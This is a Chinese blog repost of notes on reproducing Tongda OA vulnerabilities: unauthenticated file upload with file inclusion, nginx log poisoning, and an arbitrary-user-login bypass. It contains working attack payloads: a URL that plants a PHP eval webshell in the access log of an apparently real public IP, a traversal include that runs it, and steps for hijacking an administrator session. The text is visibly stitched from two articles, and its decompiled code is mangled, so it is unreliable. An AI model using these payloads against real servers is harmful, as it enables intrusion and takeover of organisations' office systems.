漏洞复现-通达OA
Posted amingMM
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞复现-通达OA相关的知识,希望对你有一定的参考价值。
通达OA
通达OA 网络智能办公系统 是由北京通达信科科技有限公司开发的一款办公系统
采用基于WEB的企业计算,
主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠。
数据存取集中控制,避免了数据泄漏的可能。
提供数据备份工具,保护系统数据安全。
多级的权限控制,完善的密码验证与登录验证机制更加强了系统安全性。
自主研发的协同办公自动化软件,
是与中国企业管理实践相结合形成的综合管理办公平台
2015年,通达云OA入驻阿里云企业应用专区,为众多中小企业提供稳定、可靠的云计算支撑
通达OA可供用户免费下载使用,安装简单,默认安装了nginx、mysql等服务,
系统默认由System权限启动
360安全大脑-Quake网络空间测绘系统通过对全网资产测绘
1:未授权文件上传 + 文件包含姿势
2:Nginx日志 + 文件包含
http://www.360doc.com/content/20/0405/19/64353657_904057447.shtml
58.56.254.122:8081/<?php@eval($_POST['aming']);?>
http://58.56.254.122:8081/ispirit/interface/gateway.php?json=&url=…/…/ispirit/…/…/nginx/logs/oa.access.log
http://cn-sec.com/archives/498043.html
http://58.56.254.122:8081/ispirit/interface/gateway.php?json=&aa=<?php file_put_contents('1.php','hello world');?>
通达OA2017,V11.X<V11.5
通达oa远程命令执行:影响的版本有:V11版,2017版,2016版,2015版,2013增强版,2013版。
app=“通达OA” body=" static/images/tongda.ico"
http://www.dennis.org.cn/
https://blog.csdn.net/szgyunyun/article/details/107104288
https://blog.csdn.net/blue_fantasy/article/details/122403451
https://blog.csdn.net/weixin_44831109/article/details/123841373
https://blog.csdn.net/qq_29443517/article/details/106275093
CNVD:CNVD-2020-26562
未授权的情况下可上传图片木马文件
精心构造的请求进行文件包含,实现远程命令执行,且攻击者无须登陆认证即可完成攻击
影响范围
通达OA V11版 <= 11.3 20200103
通达OA 2017版 <= 10.19 20190522
通达OA 2016版 <= 9.13 20170710
通达OA 2015版 <= 8.15 20160722
通达OA 2013增强版 <= 7.25 20141211
通达OA 2013版 <= 6.20 20141017
V11版 2017版 2016版 2015版 2013增强版2013版
未授权上传文件
\\ispirit\\im\\upload.php
<?php
set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '')
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
else
include_once './auth.php';
include_once 'inc/utility_file.php';
include_once 'inc/utility_msg.php';
include_once 'mobile/inc/funcs.php';
ob_end_clean();
$TYPE = $_POST['TYPE'];
$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' && !td_verify_ids($ids))
$dataBack = array('status' => 0, 'content' => '-ERR ' .
_('接收
方ID无效'));
echo json_encode(data2utf8($dataBack));
exit;
if (strpos($DEST_UID, ',') !== false)
else
$DEST_UID = intval($DEST_UID);
if ($DEST_UID == 0)
if ($UPLOAD_MODE != 2)
$dataBack = array('status' => 0, 'content' => '-ERR ' .
_('接收方ID无效'));
echo json_encode(data2utf8($dataBack));
exit;
$MODULE = 'im';
if (1 <= count($_FILES))
if ($UPLOAD_MODE == '1')
if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) !=
strlen($_FILES['ATTACHMENT']['name']))
$_FILES['ATTACHMENT']['name'] =
urldecode($_FILES['ATTACHMENT']['name']);
$ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
if (!is_array($ATTACHMENTS))
$dataBack = array('status' => 0, 'content' => '-ERR ' .
$ATTACHMENTS);
echo json_encode(data2utf8($dataBack));
exit;
ob_end_clean();
$ATTACHMENT_ID = substr($ATTACHMENTS['ID'], 0, -1);
$ATTACHMENT_NAME = substr($ATTACHMENTS['NAME'], 0, -1);
if ($TYPE == 'mobile')
$ATTACHMENT_NAME =
td_iconv(urldecode($ATTACHMENT_NAME),
'utf-8', MYOA_CHARSET);
else
$dataBack = array('status' => 0, 'content' => '-ERR ' .
_('无文
件上传'));
echo json_encode(data2utf8($dataBack));
exit;
$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME,
$MODULE);
if (!$FILE_SIZE)
$dataBack = array('status' => 0, 'content' => '-ERR ' .
_('文件
上传失败'));
echo json_encode(data2utf8($dataBack));
exit;
if ($UPLOAD_MODE == '1')
if (is_thumbable($ATTACHMENT_NAME))
$FILE_PATH = attach_real_path($ATTACHMENT_ID,
$ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0,
strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) .
'thumb_'
. $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
$P_VER = is_numeric($P_VER) ? intval($P_VER) : 0;
$MSG_CATE = $_POST['MSG_CATE'];
if ($MSG_CATE == 'file')
$CONTENT = '[fm]' . $ATTACHMENT_ID . '|' .
$ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
else
if ($MSG_CATE == 'image')
$CONTENT = '[im]' . $ATTACHMENT_ID . '|' .
$ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';
else
$DURATION = intval($DURATION);
$CONTENT = '[vm]' . $ATTACHMENT_ID . '|' .
$ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
$AID = 0;
$POS = strpos($ATTACHMENT_ID, '@');
if ($POS !== false)
$AID = intval(substr($ATTACHMENT_ID, 0, $POS));
$query = 'INSERT INTO im_offline_file
(TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values
(\\'' . date('Y-m-d H:i:s') . '\\',\\'' .
$_SESSION['LOGIN_UID']
. '\\',\\'' . $DEST_UID . '\\',\\'*' . $ATTACHMENT_ID . '.' .
$ATTACHMENT_NAME . '\\',\\'' . $FILE_SIZE . '\\',\\'0\\',\\'' .
$AID
. '\\')';
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false)
$dataBack = array('status' => 0, 'content' => '-ERR ' .
_('数据库操作失败'));
echo json_encode(data2utf8($dataBack));
exit;
$dataBack = array('status' => 1, 'content' => $CONTENT,
'file_id' => $FILE_ID);
echo json_encode(data2utf8($dataBack));
exit;
else
if ($UPLOAD_MODE == '2')
$DURATION = intval($_POST['DURATION']);
$CONTENT = '[vm]' . $ATTACHMENT_ID . '|' .
$ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
$query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT,
ADDTIME)
VALUES (\\'' . $_SESSION['LOGIN_UID'] . '\\', \\'' .
$CONTENT
. '\\', \\'' . time() . '\\')';
$cursor = exequery(TD::conn(), $query);
echo '+OK ' . $CONTENT;
else
if ($UPLOAD_MODE == '3')
if (is_thumbable($ATTACHMENT_NAME))
$FILE_PATH = attach_real_path($ATTACHMENT_ID,
$ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0,
strlen($FILE_PATH) - strlen($ATTACHMENT_NAME))
. 'thumb_' . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240,
$THUMB_FILE_PATH);
echo '+OK ' . $ATTACHMENT_ID;
else
$CONTENT = '[fm]' . $ATTACHMENT_ID . '|' .
$ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
$msg_id = send_msg($_SESSION['LOGIN_UID'],
$DEST_UID,
1, $CONTENT, '', 2);
$query = 'insert into IM_OFFLINE_FILE
(TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG)
values (\\'' . date('Y-m-d H:i:s') . '\\',\\'' .
$_SESSION['LOGIN_UID'] . '\\',\\'' . $DEST_UID .
'\\',\\'*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME
. '\\',\\'' . $FILE_SIZE . '\\',\\'0\\')';
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false)
echo '-ERR ' . _('数据库操作失败');
exit;
if ($FILE_ID == 0)
echo '-ERR ' . _('数据库操作失败2');
exit;
echo '+OK ,' . $FILE_ID . ',' . $msg_id;
exit;
源码采用了zend加密,解密后才能正常阅读代码
第一个if(第5行)对P进行了判断,只要传递了参数P或者不为空,就可以进入下面的语句,
如果判断失败,就进入else,也就是身份认证功能
function upload($PREFIX = 'ATTACHMENT', $MODULE = '', $OUTPUT =
true)
if (strstr($MODULE, '/') || strstr($MODULE, '\\\\'))
if (!$OUTPUT)
return _('参数含有非法字符。');
Message(_('错误'), _('参数含有非法字符。'));
exit;
$ATTACHMENTS = array('ID' => '', 'NAME' => '');
reset($_FILES);
foreach ($_FILES as $KEY => $ATTACHMENT)
if ($ATTACHMENT['error'] == 4 || $KEY != $PREFIX &&
substr($KEY, 0, strlen($PREFIX) + 1) != $PREFIX . '_')
continue;
$data_charset = isset($_GET['data_charset']) ?
$_GET['data_charset'] : (isset($_POST['data_charset'])?
$_POST['data_charset'] : '');
$ATTACH_NAME = $data_charset != ''?
td_iconv($ATTACHMENT['name'], $data_charset,
MYOA_CHARSET) : $ATTACHMENT['name'];
$ATTACH_SIZE = $ATTACHMENT['size'];
$ATTACH_ERROR = $ATTACHMENT['error'];
$ATTACH_FILE = $ATTACHMENT['tmp_name'];
$ERROR_DESC = '';
if ($ATTACH_ERROR == UPLOAD_ERR_OK)
if (!is_uploadable($ATTACH_NAME))
$ERROR_DESC = sprintf(_('禁止上传后缀名为[%s]的文
件'), substr($ATTACH_NAME,
strrpos($ATTACH_NAME, '.') + 1));
$encode = mb_detect_encoding($ATTACH_NAME,
array('ASCII', 'UTF-8', 'GB2312', 'GBK', 'BIG5'));
if ($encode != 'UTF-8')
$ATTACH_NAME_UTF8 =
mb_convert_encoding($ATTACH_NAME, 'utf-8',
MYOA_CHARSET);
else
$ATTACH_NAME_UTF8 = $ATTACH_NAME;
if (preg_match('/[\\\\\\':<>?]|\\\\/|\\\\\\\\|"|\\\\|/u',
$ATTACH_NAME_UTF8))
$ERROR_DESC = sprintf(_('文件名[%s]包含
[/\\\\\\'":*?<>|]等非法字符'), $ATTACH_NAME);
if ($ATTACH_SIZE == 0)
$ERROR_DESC = sprintf(_('文件[%s]大小为0字节'),
$ATTACH_NAME);
if ($ERROR_DESC == '')
$ATTACH_NAME = str_replace('\\'', '',
$ATTACH_NAME);
$ATTACH_ID = add_attach($ATTACH_FILE,
$ATTACH_NAME, $MODULE);
if ($ATTACH_ID === false)
$ERROR_DESC = sprintf(_('文件[%s]上传失败'),
$ATTACH_NAME);
else
$ATTACHMENTS['ID'] .= $ATTACH_ID . ',';
$ATTACHMENTS['NAME'] .= $ATTACH_NAME . '*';
@unlink($ATTACH_FILE);
else
if ($ATTACH_ERROR == UPLOAD_ERR_INI_SIZE)
$ERROR_DESC = sprintf(_('文件[%s]的大小超过了系统
限制
(%s)'), $ATTACH_NAME, ini_get('upload_max_filesize'));
else
if ($ATTACH_ERROR == UPLOAD_ERR_FORM_SIZE)
$ERROR_DESC = sprintf(_('文件[%s]的大小超过
了表
单限制'), $ATTACH_NAME);
else
if ($ATTACH_ERROR == UPLOAD_ERR_PARTIAL)
$ERROR_DESC = sprintf(_('文件[%s]上传不
完整'), $ATTACH_NAME);
else
if ($ATTACH_ERROR ==
UPLOAD_ERR_NO_TMP_DIR)
$ERROR_DESC = sprintf(_('文件[%s]上
传失败:找不到临时文件夹'),
$ATTACH_NAME);
else
if ($ATTACH_ERROR == U
PLOAD_ERR_CANT_WRITE)
$ERROR_DESC = sprintf(_('文件
[%s]写入失败'), $ATTACH_NAME);
else
$ERROR_DESC = sprintf0x00 漏洞简介
通达OA国内常用的办公系统,使用群体,大小公司都可以,其此次安全更新修复的高危漏洞为任意用户登录漏洞。攻击者在远程且未经授权的情况下,通过利用此漏洞,可以直接以任意用户身份登录到系统(包括系统管理员)。
0x01 影响版本
通达OA 2017版
通达OA V11.X<V11.5
0x02 环境搭建
下载安装包后一键安装即可
链接:https://pan.baidu.com/s/1eel1BxEc0XE4PqlA7y7-Tw
提取码:ilj1
装好之后,出现这个界面
0x03 漏洞复现
使用POC获取PHP SESSIONID
成功获取SESSIONID 有需要poc的小伙伴下边有联系方式呦meme
ip/general/index.php并抓包替换SESSIONID
或者直接分f12 修改SESSIONID 为poc获取到的ID,然后ip后边加路径/general/index.php直接是管理员登录
修改箭头位置处
成功登录到管理员账户。
0x04 修复意见
升级通达
OA 到最新版(当前最新版为11.5.200417),下载地址:https://www.tongda2000.com/download/sp2019.php
企鹅群:1045867209
欢迎各位表哥
博主公众号
以上是关于漏洞复现-通达OA的主要内容,如果未能解决你的问题,请参考以下文章